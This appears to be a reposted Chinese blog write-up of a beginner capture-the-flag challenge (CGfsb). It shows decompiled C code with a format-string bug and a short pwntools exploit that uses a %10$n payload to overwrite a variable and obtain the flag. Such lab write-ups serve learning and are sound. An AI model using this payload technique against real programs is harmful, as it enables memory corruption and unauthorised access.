zoukankan      html  css  js  c++  java
  • 『攻防世界』:新手区 | CGfsb

    checksec:

        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)

    IDA:main 利用程序中的 printf(&s)修改pwnme的值为8即可获取到flag

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int buf; // [esp+1Eh] [ebp-7Eh]
      int v5; // [esp+22h] [ebp-7Ah]
      __int16 v6; // [esp+26h] [ebp-76h]
      char s; // [esp+28h] [ebp-74h]
      unsigned int v8; // [esp+8Ch] [ebp-10h]
    
      v8 = __readgsdword(0x14u);
      setbuf(stdin, 0);
      setbuf(stdout, 0);
      setbuf(stderr, 0);
      buf = 0;
      v5 = 0;
      v6 = 0;
      memset(&s, 0, 0x64u);
      puts("please tell me your name:");
      read(0, &buf, 0xAu);
      puts("leave your message please:");
      fgets(&s, 100, stdin);
      printf("hello %s", &buf);
      puts("your message is:");
      printf(&s);
      if ( pwnme == 8 )
      {
        puts("you pwned me, here is your flag:
    ");
        system("cat flag");
      }
      else
      {
        puts("Thank you!");
      }
      return 0;
    }

    exp:

    from pwn import *
    
    io = remote('',)
    payload = p32(0x0804A068) + 'aaaa' + '%10$n' #804a068是pwnme的地址,
    io.sendlineafter('name:','aaa')
    io.sendlineafter('please:',payload)
    io.interactive()

    注:

    %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置

  • 相关阅读:
    UML模型的基本概念
    Asp.net 2.0 发送电子邮件
    生活多了些颜色
    FLASH调用网页上的JS方法,以及FLASH全屏播放的方法
    HTC编程思想
    实用的SQL精妙语句
    自己写的封装好的简单的AJAXjavascript
    SQL Server对象名
    windows开关机日志
    RegisterWindowMessage
  • 原文地址:https://www.cnblogs.com/Zowie/p/13432765.html
Copyright © 2011-2022 走看看